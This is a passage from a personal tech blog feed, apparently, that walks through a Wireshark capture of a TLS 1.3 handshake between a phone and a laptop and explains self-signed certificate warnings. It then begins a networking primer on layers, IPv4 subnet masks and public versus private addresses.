<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>tcpdump <span class="nt">-i</span> en0 <span class="nt">-n</span> host 192.168.1.51   <span class="c"># the phone's IP</span>
</code></pre></div></div>

<p>Open <code class="language-plaintext highlighter-rouge">https://&lt;laptop-IP&gt;:8443</code> on the phone, capture in Wireshark with the same <code class="language-plaintext highlighter-rouge">ip.addr == 192.168.1.51</code> filter, and stop.</p>

<hr />

<h2 id="4-reading-the-tls-13-handshake">4. Reading the TLS 1.3 handshake</h2>

<p>This is the genuine article — the same protocol protecting a bank login. Here’s the full capture:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>No.    Time       Source         Destination    Proto    Len   Info
10494  16.616277  192.168.1.51   192.168.1.34   TCP      74    51166 → 8443 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430028672 TSecr=0 WS=256
10495  16.616499  192.168.1.34   192.168.1.51   TCP      78    8443 → 51166 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=3552164977 TSecr=2430028672 SACK_PERM
10496  16.616868  192.168.1.51   192.168.1.34   TCP      74    51168 → 8443 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430028729 TSecr=0 WS=256
10497  16.617003  192.168.1.34   192.168.1.51   TCP      78    8443 → 51168 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=1805661351 TSecr=2430028729 SACK_PERM
10498  16.623195  192.168.1.51   192.168.1.34   TCP      66    51166 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430028853 TSecr=3552164977
10499  16.623303  192.168.1.34   192.168.1.51   TCP      66    [TCP Window Update] 8443 → 51166 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=3552164984 TSecr=2430028853
10500  16.624098  192.168.1.51   192.168.1.34   TCP      66    51168 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430028853 TSecr=1805661351
10501  16.624166  192.168.1.34   192.168.1.51   TCP      66    [TCP Window Update] 8443 → 51168 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=1805661358 TSecr=2430028853
10502  16.638297  192.168.1.51   192.168.1.34   TCP      1514  51166 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=1448 TSval=2430028856 TSecr=3552164977 [TCP PDU reassembled in 10504]
10503  16.638299  192.168.1.51   192.168.1.34   TCP      1514  51168 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=1448 TSval=2430028858 TSecr=1805661351 [TCP PDU reassembled in 10505]
10504  16.638300  192.168.1.51   192.168.1.34   TLSv1.3  622   Client Hello
10505  16.638300  192.168.1.51   192.168.1.34   TLSv1.3  622   Client Hello
10506  16.638378  192.168.1.34   192.168.1.51   TCP      66    8443 → 51166 [ACK] Seq=1 Ack=2005 Win=129792 Len=0 TSval=3552164999 TSecr=2430028856
10507  16.638425  192.168.1.34   192.168.1.51   TCP      66    8443 → 51168 [ACK] Seq=1 Ack=2005 Win=129792 Len=0 TSval=1805661372 TSecr=2430028858
10508  16.639340  192.168.1.34   192.168.1.51   TLSv1.3  1395  Server Hello, Change Cipher Spec, Application Data, Application Data
10509  16.649931  192.168.1.51   192.168.1.34   TCP      66    51166 → 8443 [ACK] Seq=2005 Ack=1330 Win=68352 Len=0 TSval=2430028880 TSecr=3552165000
10510  16.670662  192.168.1.51   192.168.1.34   TLSv1.3  96    Change Cipher Spec, Application Data
10511  16.670765  192.168.1.34   192.168.1.51   TCP      66    8443 → 51166 [ACK] Seq=1330 Ack=2035 Win=131072 Len=0 TSval=3552165032 TSecr=2430028885
10512  16.671164  192.168.1.34   192.168.1.51   TCP      66    8443 → 51166 [FIN, ACK] Seq=1330 Ack=2035 Win=131072 Len=0 TSval=3552165032 TSecr=2430028885
10513  16.671306  192.168.1.51   192.168.1.34   TCP      66    51166 → 8443 [FIN, ACK] Seq=2035 Ack=1330 Win=68352 Len=0 TSval=2430028889 TSecr=3552165000
10514  16.671396  192.168.1.34   192.168.1.51   TCP      66    [TCP Retransmission] 8443 → 51166 [FIN, ACK] Seq=1330 Ack=2036 Win=131072 Len=0 TSval=3552165032 TSecr=2430028889
10515  16.672779  192.168.1.34   192.168.1.51   TLSv1.3  1395  Server Hello, Change Cipher Spec, Application Data, Application Data
10516  16.679712  192.168.1.51   192.168.1.34   TCP      66    51166 → 8443 [ACK] Seq=2036 Ack=1331 Win=68352 Len=0 TSval=2430028907 TSecr=3552165032
10517  16.732257  192.168.1.51   192.168.1.34   TCP      66    51168 → 8443 [ACK] Seq=2005 Ack=1330 Win=68352 Len=0 TSval=2430028913 TSecr=1805661407
10518  16.732258  192.168.1.51   192.168.1.34   TLSv1.3  96    Change Cipher Spec, Application Data
10519  16.732259  192.168.1.51   192.168.1.34   TCP      66    51168 → 8443 [FIN, ACK] Seq=2035 Ack=1330 Win=68352 Len=0 TSval=2430028914 TSecr=1805661407
10520  16.732354  192.168.1.34   192.168.1.51   TCP      66    8443 → 51168 [ACK] Seq=1330 Ack=2035 Win=131072 Len=0 TSval=1805661466 TSecr=2430028913
10521  16.732388  192.168.1.34   192.168.1.51   TCP      66    8443 → 51168 [ACK] Seq=1330 Ack=2036 Win=131072 Len=0 TSval=1805661466 TSecr=2430028914
10522  16.732593  192.168.1.34   192.168.1.51   TCP      66    8443 → 51168 [FIN, ACK] Seq=1330 Ack=2036 Win=131072 Len=0 TSval=1805661466 TSecr=2430028914
10523  16.732956  192.168.1.51   192.168.1.34   TCP      74    51172 → 8443 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430028916 TSecr=0 WS=256
10524  16.733204  192.168.1.34   192.168.1.51   TCP      78    8443 → 51172 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=403303154 TSecr=2430028916 SACK_PERM
10525  16.743974  192.168.1.51   192.168.1.34   TCP      66    51168 → 8443 [ACK] Seq=2036 Ack=1331 Win=68352 Len=0 TSval=2430028973 TSecr=1805661466
10526  16.748826  192.168.1.51   192.168.1.34   TCP      66    51172 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430028973 TSecr=403303154
10527  16.748927  192.168.1.34   192.168.1.51   TCP      66    [TCP Window Update] 8443 → 51172 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=403303170 TSecr=2430028973
10528  16.749751  192.168.1.51   192.168.1.34   TCP      1514  51172 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=1448 TSval=2430028978 TSecr=403303154 [TCP PDU reassembled in 10529]
10529  16.749753  192.168.1.51   192.168.1.34   TLSv1.3  383   Client Hello
10530  16.749802  192.168.1.34   192.168.1.51   TCP      66    8443 → 51172 [ACK] Seq=1 Ack=1766 Win=130048 Len=0 TSval=403303171 TSecr=2430028978
10531  16.751709  192.168.1.34   192.168.1.51   TLSv1.3  1514  Server Hello, Change Cipher Spec, Application Data
10532  16.751733  192.168.1.34   192.168.1.51   TLSv1.3  1041  Application Data, Application Data, Application Data
10533  16.759968  192.168.1.51   192.168.1.34   TCP      66    51172 → 8443 [ACK] Seq=1766 Ack=2424 Win=70400 Len=0 TSval=2430028988 TSecr=403303173
10534  16.765059  192.168.1.51   192.168.1.34   TLSv1.3  146   Change Cipher Spec, Application Data
10535  16.765164  192.168.1.34   192.168.1.51   TCP      66    8443 → 51172 [ACK] Seq=2424 Ack=1846 Win=131008 Len=0 TSval=403303186 TSecr=2430028994
10536  16.765604  192.168.1.34   192.168.1.51   TLSv1.3  321   Application Data
10537  16.768947  192.168.1.51   192.168.1.34   TLSv1.3  802   Application Data
10538  16.769017  192.168.1.34   192.168.1.51   TLSv1.3  321   Application Data
10539  16.772664  192.168.1.34   192.168.1.51   TLSv1.3  317   Application Data, Application Data
10541  16.869438  192.168.1.51   192.168.1.34   TCP      66    51172 → 8443 [ACK] Seq=2582 Ack=2934 Win=76288 Len=0 TSval=2430029010 TSecr=403303186
10542  16.869440  192.168.1.51   192.168.1.34   TCP      66    51172 → 8443 [FIN, ACK] Seq=2582 Ack=3186 Win=79104 Len=0 TSval=2430029018 TSecr=403303194
10543  16.869515  192.168.1.34   192.168.1.51   TCP      66    8443 → 51172 [ACK] Seq=3186 Ack=2583 Win=131072 Len=0 TSval=403303290 TSecr=2430029018
</code></pre></div></div>

<p>TCP opens the pipe exactly as before, then TLS takes over. Stripped to the essentials of one connection it reads like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.51 → .34   SYN          ┐
.34 → .51   SYN, ACK     ├ TCP handshake (open the pipe)
.51 → .34   ACK          ┘
.51 → .34   TLSv1.3  Client Hello                        phone: ciphers + key-share
.34 → .51   TLSv1.3  Server Hello, Change Cipher Spec,   laptop: picks cipher,
                     Application Data, Application Data          sends cert (ENCRYPTED!)
.51 → .34   TLSv1.3  Change Cipher Spec, Application Data phone: "encryption on", request
.34 → .51   TLSv1.3  Application Data ...                laptop: 🔒 the web page
            FIN, ACK ...                                 teardown
</code></pre></div></div>

<h3 id="the-tls-13-thing-worth-noticing">The TLS 1.3 thing worth noticing</h3>

<p>Look at the Server Hello packet: <em>Server Hello, Change Cipher Spec, <strong>Application Data, Application Data</strong>.</em></p>

<p>In the plain-HTTP capture you could read the bytes. Here the certificate is <strong>gone</strong> — it’s labeled <code class="language-plaintext highlighter-rouge">Application Data</code>, meaning it’s already encrypted.</p>

<blockquote>
  <p><strong>TLS 1.3 encrypts the certificate.</strong> The key exchange happens in the very first Client Hello / Server Hello, so by the time the server sends its certificate the tunnel already exists. In old TLS 1.2 the cert went in cleartext — you could read its CN, issuer, everything. TLS 1.3 hides it. That’s why there’s no readable “Certificate” packet anymore, only <code class="language-plaintext highlighter-rouge">Application Data</code>.</p>
</blockquote>

<p>So TLS 1.3 is one round-trip faster <em>and</em> more private than the 1.2 flow. You’re watching the modern version.</p>

<h3 id="why-there-are-several-connections">Why there are several connections</h3>

<p>The browser opened multiple parallel TCP connections (different source ports — <code class="language-plaintext highlighter-rouge">51166</code>, <code class="language-plaintext highlighter-rouge">51168</code>, <code class="language-plaintext highlighter-rouge">51172</code>) to load faster. Some started a handshake and closed early with a <code class="language-plaintext highlighter-rouge">FIN</code> — that’s the browser pre-connecting, and the self-signed-cert warning interrupting it. One connection completes the full exchange: Client Hello → Server Hello → Application Data (the page) → FIN. The aborted ones are the browser retrying after you tapped through the warning. The occasional <code class="language-plaintext highlighter-rouge">[TCP Retransmission]</code> / out-of-order packets are just WiFi hiccups; TCP re-sends and nothing breaks.</p>

<h3 id="the-field-decoder">The field decoder</h3>

<table>
  <thead>
    <tr>
      <th>You see</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">TLSv1.3</code></td>
      <td>protocol version negotiated — the latest</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Client Hello</code></td>
      <td>phone proposes ciphers + sends its key-share</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Server Hello</code></td>
      <td>laptop picks the cipher + sends its key-share</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Change Cipher Spec</code></td>
      <td>“everything after this is encrypted” (legacy marker in 1.3)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Application Data</code></td>
      <td>🔒 encrypted payload — the cert, then the actual page</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">[TCP Retransmission]</code></td>
      <td>normal WiFi hiccup; TCP re-sends</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">FIN, ACK</code></td>
      <td>graceful connection close</td>
    </tr>
  </tbody>
</table>

<h3 id="prove-the-encryption-to-yourself">Prove the encryption to yourself</h3>

<p>Right-click an <code class="language-plaintext highlighter-rouge">Application Data</code> packet → <strong>Follow → TLS Stream</strong>. You see encrypted gibberish — the page is in there, unreadable. Compare that to the plain-HTTP Follow Stream that showed the HTML clearly. That side-by-side <em>is</em> the whole point of HTTPS:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP  Follow Stream → "hello from my laptop"     anyone on the path reads it
HTTPS Follow Stream → 9f a2 c8 1e ... (garbage)  encrypted, unreadable
</code></pre></div></div>

<hr />

<h2 id="5-the-not-secure-warning-is-the-system-working">5. The “Not Secure” warning is the system working</h2>

<p>Opening the HTTPS page, the phone warns “Not Secure.” That’s not a failure — it’s HTTPS’s trust system doing its job. The connection <strong>is</strong> encrypted; the problem is <strong>identity</strong>, not encryption. Two different promises:</p>

<ol>
  <li><strong>Encryption</strong> — nobody can read the traffic. ✅ The server does this fine (you saw the encrypted TLS data).</li>
  <li><strong>Identity</strong> — the server is really who it claims to be. ❌ This is what fails.</li>
</ol>

<p>The browser is saying: <em>“This connection is encrypted, but I can’t verify who I’m talking to.”</em></p>

<h3 id="why-it-cant-verify-me">Why it can’t verify me</h3>

<p>Real sites’ certificates are signed by a <strong>Certificate Authority</strong> (Let’s Encrypt, DigiCert, …), and your device ships with ~150 trusted CAs built in:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>browser trusts → a CA (e.g. Let's Encrypt)
                  └─ which signed → the website's certificate
                                     └─ so the browser trusts the site ✅
</code></pre></div></div>

<p>My cert was <strong>self-signed</strong> — I signed it myself with <code class="language-plaintext highlighter-rouge">openssl</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>browser trusts → ???
                 └─ "mylaptop" signed its OWN certificate
                    → no trusted CA vouches for it → NOT trusted ❌
</code></pre></div></div>

<p>It’s like showing up with an ID card you printed at home. The encryption is real, but no authority vouches that “mylaptop” is genuine — so the browser warns.</p>

<h3 id="why-this-is-exactly-the-shield-against-the-arp-attack">Why this is exactly the shield against the ARP attack</h3>

<p>This is the precise mechanism that stops the <a href="/isolated-docker-network-arp-spoofing-lab.html">ARP-spoofing MITM</a> from working against a real site. An attacker who intercepts your connection to your bank has to present a certificate — but they can’t get a real CA to sign one for <code class="language-plaintext highlighter-rouge">yourbank.com</code>. So they either:</p>

<ul>
  <li>present a self-signed cert → browser screams “Not Secure” (you’d notice), or</li>
  <li>present no valid cert → the connection fails.</li>
</ul>

<p>The warning you’re seeing is the same alarm that would fire during a real attack. Feature, not bug.</p>

<h3 id="making-the-warning-go-away">Making the warning go away</h3>

<ol>
  <li><strong>Just proceed</strong> (fine for your own test) — Advanced → Proceed. You’re choosing to trust your own cert.</li>
  <li><strong>Install the cert as trusted on the phone</strong> — copy <code class="language-plaintext highlighter-rouge">cert.pem</code> over and add it under the phone’s trusted certificates. Then “mylaptop” is a known authority → no warning. <em>(This is also how <code class="language-plaintext highlighter-rouge">mitmproxy</code> decrypts HTTPS — the same trick.)</em></li>
  <li><strong>Get a real CA-signed cert</strong> — for a public domain, Let’s Encrypt verifies you control the domain, signs your cert for free, and every browser trusts it automatically.</li>
</ol>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>Self-signed server</th>
      <th>Real website</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Encrypted?</td>
      <td>✅ yes</td>
      <td>✅ yes</td>
    </tr>
    <tr>
      <td>Identity verified by a CA?</td>
      <td>❌ no</td>
      <td>✅ yes</td>
    </tr>
    <tr>
      <td>Browser warning?</td>
      <td>⚠️ “Not Secure”</td>
      <td>none</td>
    </tr>
  </tbody>
</table>

<p>“Not Secure” here really means <strong>“unverified identity,” not “unencrypted.”</strong> The traffic is fully encrypted — the browser just can’t confirm who <code class="language-plaintext highlighter-rouge">mylaptop</code> is, because I vouched for myself instead of a trusted authority.</p>

<hr />

<h2 id="what-i-took-away">What I took away</h2>

<p>The complete journey, end to end:</p>

<ol>
  <li><strong>Discover devices</strong> — <code class="language-plaintext highlighter-rouge">arp</code> / <code class="language-plaintext highlighter-rouge">nmap</code> / Bonjour ✅</li>
  <li><strong>Identify a device</strong> — <code class="language-plaintext highlighter-rouge">.51</code> connected to my server ✅</li>
  <li><strong>Plain connection</strong> — TCP handshake + HTTP, fully <strong>readable</strong> ✅</li>
  <li><strong>Encrypted connection</strong> — TLS 1.3 handshake, <strong>unreadable</strong> ✅</li>
</ol>

<p>The lesson that sticks: the difference between HTTP and HTTPS isn’t abstract once you’ve watched both in Wireshark. Same handshake, same ports, same FIN — but Follow Stream shows cleartext HTML one time and encrypted noise the next. And the “Not Secure” warning, which feels like a problem, is actually the <em>identity</em> half of HTTPS protecting me from the exact MITM I built in the previous post. Encryption hides the bytes; the certificate chain proves who’s on the other end. You need both, and now I’ve seen both happen between two devices on my own desk.</p>]]></content><author><name>திலீப் கோனா</name></author><category term="tech" /><summary type="html"><![CDATA[In the ARP spoofing lab I watched one device lie to another about who it was, inside a sealed Docker network. This time I wanted the opposite of sealed — a real connection between two real devices on my actual WiFi — and I wanted to watch every byte of it in Wireshark. Then do it again over HTTPS and see the difference encryption makes.]]></summary></entry><entry><title type="html">Networking</title><link href="https://dilipgona.is-a.dev/networking.html" rel="alternate" type="text/html" title="Networking" /><published>2026-06-12T00:00:00+00:00</published><updated>2026-06-12T00:00:00+00:00</updated><id>https://dilipgona.is-a.dev/networking</id><content type="html" xml:base="https://dilipgona.is-a.dev/networking.html"><![CDATA[<p>I’m working through networking the way it actually matters for security — not as abstract theory, but as <em>how a message travels, how two computers talk, and where every tool and every attack plugs in.</em> This is one living post: fourteen chapters in four parts. Each chapter fills in with a proper definition as I learn it; the rest say <strong>coming soon</strong> until I get there.</p>

<p>The single idea that ties it all together: <strong>networking is split into floors, each does one job, and every tool and every attack lives on one floor.</strong> Keep that in mind and the rest stops being a pile of acronyms.</p>

<blockquote>
  <p>★ marks the hands-on security chapters — where you stop reading and start <em>seeing the bytes</em>.</p>
</blockquote>

<hr />

<h1 id="foundations">Foundations</h1>

<h2 id="layers">Layers</h2>

<p>Networking is split into floors, and each floor does exactly one job. When I type a URL and hit enter, my request rides an elevator <em>down</em> through the floors on my machine, crosses the wire, and rides <em>up</em> through the floors on the server. The reply comes back the same way. The reason this matters for security: <strong>every tool and every attack lives on one specific floor</strong> — once I know which floor something operates on, I know what it can and can’t see.</p>

<p>The model has two common spellings. The textbook one is the 7-layer <strong>OSI</strong> model; in practice everyone works with the 4-layer <strong>TCP/IP</strong> model, which is what I’ll use:</p>

<table>
  <thead>
    <tr>
      <th>Floor</th>
      <th>Layer (TCP/IP)</th>
      <th>Its one job</th>
      <th>Address it uses</th>
      <th>Lives here</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>4 (top)</td>
      <td><strong>Application</strong></td>
      <td>what the data <em>means</em></td>
      <td>— (names, URLs)</td>
      <td>HTTP, DNS, TLS</td>
    </tr>
    <tr>
      <td>3</td>
      <td><strong>Transport</strong></td>
      <td>which <em>program</em>, reliable or not</td>
      <td>port number</td>
      <td>TCP, UDP</td>
    </tr>
    <tr>
      <td>2</td>
      <td><strong>Network</strong></td>
      <td>find the right <em>machine</em> across networks</td>
      <td>IP address</td>
      <td>IP, routing</td>
    </tr>
    <tr>
      <td>1 (bottom)</td>
      <td><strong>Link</strong></td>
      <td>move bits across <em>one</em> physical hop</td>
      <td>MAC address</td>
      <td>Ethernet, Wi-Fi, ARP</td>
    </tr>
  </tbody>
</table>

<p>The key idea is <strong>encapsulation</strong>: each floor wraps the floor above it in its own envelope. My HTTP request (App) gets stuffed into a TCP segment (Transport), which gets stuffed into an IP packet (Network), which gets stuffed into an Ethernet frame (Link) — envelopes inside envelopes. At the other end each floor opens <em>only its own</em> envelope and hands the contents up.</p>

<p>That layering is also the map of the whole rest of this post: the <strong>IP Address</strong> sections live on the <strong>Network</strong> floor, <strong>MAC/ARP</strong> on the <strong>Link</strong> floor, and <strong>HTTP / Ports / TCP / UDP</strong> on <strong>Transport + Application</strong> — and the tools later each tap a specific floor: <code class="language-plaintext highlighter-rouge">tcpdump</code> reads the Link/Network bytes, <code class="language-plaintext highlighter-rouge">nmap</code> probes Transport ports, TLS sits at the top of Application.</p>

<h2 id="ip-addresses">IP Addresses</h2>

<p>An IP address is how one machine finds another across a network — the <strong>Network floor’s</strong> addressing scheme, the postal address of the internet. Routers only ever look at this number to decide where to forward a packet next.</p>

<p>The address you see most is <strong>IPv4</strong>: four numbers <code class="language-plaintext highlighter-rouge">0–255</code> separated by dots, e.g. <code class="language-plaintext highlighter-rouge">192.168.1.24</code>. That’s 32 bits → about 4.3 billion addresses, which sounded like plenty in the 1980s and ran out in reality (the reason <strong>IPv6</strong> exists — more on that below). An IPv4 address is really two parts glued together:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>192.168.1.24 / 24
└────┬─────┘ └┬┘
  network    which host
  part       on it
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">/24</code> is the <strong>subnet mask</strong> (CIDR notation) — it says “the first 24 bits are the network, the rest identify the individual machine.” Same network part = same local network, talk directly; different network part = the packet has to go through a router. That single split is what the whole Link-vs-Network distinction from the <strong>Layers</strong> section hangs on.</p>

<h3 id="why-the-mask-exists-at-all">Why the mask exists at all</h3>

<p>The mask earns its keep by answering one question my machine has to settle for <em>every single packet</em>: <strong>is this destination on my network, or somewhere else?</strong> Without the mask, an address like <code class="language-plaintext highlighter-rouge">192.168.1.24</code> is ambiguous — which part is the network and which part is the device? With <code class="language-plaintext highlighter-rouge">/24</code>, there’s no guessing:</p>

<table>
  <thead>
    <tr>
      <th>Without the mask</th>
      <th>With the mask (<code class="language-plaintext highlighter-rouge">/24</code>)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Sees <code class="language-plaintext highlighter-rouge">192.168.1.24</code> and is stuck — which part is the network?</td>
      <td>Knows: <code class="language-plaintext highlighter-rouge">192.168.1</code> = network, <code class="language-plaintext highlighter-rouge">.34</code> = device</td>
    </tr>
    <tr>
      <td>Can’t decide: send direct, or hand it to the router?</td>
      <td>Decides instantly: same first 3 numbers? → direct. Different? → router.</td>
    </tr>
  </tbody>
</table>

<p>It’s the old landline problem — without an area code you can’t tell a local call from a long-distance one. Same with networks: the mask is what lets the device split any address into <strong>network + device</strong> so it knows whether to talk directly or go through the router. That’s the whole purpose.</p>

<h3 id="where-the-24-number-comes-from--why-not-18">Where the <code class="language-plaintext highlighter-rouge">/24</code> number comes from — why not <code class="language-plaintext highlighter-rouge">/18</code>?</h3>

<p>The <code class="language-plaintext highlighter-rouge">/24</code> isn’t magic, and it isn’t required — it’s just a <strong>count of bits</strong>. An IP that looks like 4 numbers is really <strong>32 ones-and-zeros</strong>, split into 4 groups of 8:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   192    .   168    .    1     .    34
11000000 . 10101000 . 00000001 . 00100010
└──8 bits┘  └──8 bits┘  └──8 bits┘  └──8 bits┘   = 32 bits total
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">/number</code> says <strong>how many bits from the left belong to the network</strong>. Since each number is 8 bits, the clean boundaries fall on whole numbers:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/8   = first 1 number  is network   (8 bits)
/16  = first 2 numbers are network  (16 bits)
/24  = first 3 numbers are network  (24 bits)  ← home default
/32  = all 4 numbers = one single address
</code></pre></div></div>

<p>So <code class="language-plaintext highlighter-rouge">/24</code> = 24 bits = exactly 3 whole numbers — <em>that’s</em> why <code class="language-plaintext highlighter-rouge">192.168.1</code> is the network and <code class="language-plaintext highlighter-rouge">.34</code> is the device. The number literally counts the network bits.</p>

<p>You absolutely <em>can</em> use <code class="language-plaintext highlighter-rouge">/18</code> — it’s valid, it just doesn’t land on a number boundary, so it cuts through the middle of the 3rd number (16 full bits + 2 leftover) and looks messy. The trade-off is the real lesson: <strong>more network bits = fewer device bits = smaller network.</strong></p>

<table>
  <thead>
    <tr>
      <th>Mask</th>
      <th>Network bits</th>
      <th>Device bits</th>
      <th>Usable devices</th>
      <th>Clean?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/8</code></td>
      <td>8</td>
      <td>24</td>
      <td>~16 million</td>
      <td>✅ 1 number</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/16</code></td>
      <td>16</td>
      <td>16</td>
      <td>~65,000</td>
      <td>✅ 2 numbers</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/18</code></td>
      <td>18</td>
      <td>14</td>
      <td>16,382</td>
      <td>⚠️ 2.25 numbers — messy</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/24</code></td>
      <td>24</td>
      <td>8</td>
      <td>254</td>
      <td>✅ 3 numbers</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/30</code></td>
      <td>30</td>
      <td>2</td>
      <td>2</td>
      <td>✅ tiny — router links</td>
    </tr>
  </tbody>
</table>

<p>The device count is <code class="language-plaintext highlighter-rouge">2^(device bits) − 2</code> (the <code class="language-plaintext highlighter-rouge">−2</code> drops the network ID and the broadcast address, which can’t be assigned to a machine). So <code class="language-plaintext highlighter-rouge">/24</code> → <code class="language-plaintext highlighter-rouge">2⁸ − 2 = 254</code> devices — plenty for a home, and easy to read (“same first 3 numbers = same network”). <code class="language-plaintext highlighter-rouge">/18</code> → <code class="language-plaintext highlighter-rouge">2¹⁴ − 2 = 16,382</code>, overkill for a house but exactly what a big company or ISP needs. The router picks <code class="language-plaintext highlighter-rouge">/24</code> for homes because it’s clean and 254 addresses is already far more than you’ll use.</p>

<p>On any box, the command to see your own addresses is <code class="language-plaintext highlighter-rouge">ip a</code> (Linux) or <code class="language-plaintext highlighter-rouge">ifconfig</code> / <code class="language-plaintext highlighter-rouge">ipconfig</code> (Mac/Windows):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ip a
2: eth0: ... 
    inet 192.168.1.24/24 ...      ← my IPv4 address + mask
    inet6 fe80::.../64 ...        ← an IPv6 address (the "noise" that matters in the NAT section below)
</code></pre></div></div>

<p>Two addresses you’ll always see and should recognise on sight: <code class="language-plaintext highlighter-rouge">127.0.0.1</code> (<strong>loopback</strong> — “this machine, talking to itself”) and the <code class="language-plaintext highlighter-rouge">192.168.x.x</code> / <code class="language-plaintext highlighter-rouge">10.x.x.x</code> ranges, which are <em>private</em> and never appear on the public internet. <em>Why</em> a machine can have a private address inside and a different public one outside is exactly what the next section is about.</p>

<h2 id="private-vs-public-ips--nat">Private vs Public IPs + NAT</h2>

<p>Why all your home devices share one internet address.</p>

<p>I was poking at this from two machines on the same home connection — my Mac and a Docker container — and asked each one the same simple question: <em>what’s my public IP?</em> The trick is the tiny service <a href="https://ifconfig.me"><code class="language-plaintext highlighter-rouge">ifconfig.me</code></a>, which just echoes back the address it sees you arriving from:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># On either machine:
curl -s ifconfig.me
</code></pre></div></div>

<p>They came back <strong>different</strong>, and the reason is exactly the kind of thing that trips people up.</p>

<h3 id="what-i-got">What I got</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Container:  122.167.103.200                              ← an IPv4 public address
Mac:        2401:4900:8901:da7b:3ca3:15c8:99e4:ca0c      ← an IPv6 public address
</code></pre></div></div>

<p>They look totally different — but they’re the <strong>same front door</strong>, described in two different languages.</p>

<h3 id="the-two-languages-ipv4-vs-ipv6">The two languages: IPv4 vs IPv6</h3>

<p>Remember all that <code class="language-plaintext highlighter-rouge">inet6</code> “noise” in <code class="language-plaintext highlighter-rouge">ip a</code> that’s easy to ignore? This is it coming back to matter.</p>

<ul>
  <li><strong>IPv4</strong> — the old, short style: <code class="language-plaintext highlighter-rouge">122.167.103.200</code> (four numbers, <code class="language-plaintext highlighter-rouge">0–255</code> each). The world ran out of these; there simply aren’t enough for every device on earth.</li>
  <li><strong>IPv6</strong> — the new, long style: <code class="language-plaintext highlighter-rouge">2401:4900:...</code> (eight hex groups). Practically unlimited supply. My Indian ISP (<code class="language-plaintext highlighter-rouge">2401:4900</code> is an Indian mobile/broadband range) hands out both.</li>
</ul>

<p>My Mac and my container both have internet, and both exit through the same home connection — but when each asked <code class="language-plaintext highlighter-rouge">ifconfig.me</code> “what’s my public address?”, they answered in different languages:</p>

<ul>
  <li>The <strong>container</strong> only has IPv4 networking (its <code class="language-plaintext highlighter-rouge">eth0</code> is <code class="language-plaintext highlighter-rouge">inet 172.17.0.2</code>, no public IPv6). So it asked over IPv4 → got the IPv4 answer <code class="language-plaintext highlighter-rouge">122.167.103.200</code>.</li>
  <li>The <strong>Mac</strong> has IPv6 enabled and <em>prefers</em> it (those <code class="language-plaintext highlighter-rouge">2401:4900:...</code> lines in <code class="language-plaintext highlighter-rouge">ip a</code>). So it asked over IPv6 → got the IPv6 answer.</li>
</ul>

<p>Same house, two address systems. Like giving your home address in English vs. in Hindi — different words, same place.</p>

<h3 id="prove-theyre-really-the-same-exit--force-the-mac-to-speak-ipv4">Prove they’re really the same exit — force the Mac to speak IPv4</h3>

<p>The <code class="language-plaintext highlighter-rouge">-4</code> flag forces <code class="language-plaintext highlighter-rouge">curl</code> to use IPv4:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># On the Mac:
curl -s -4 ifconfig.me
</code></pre></div></div>

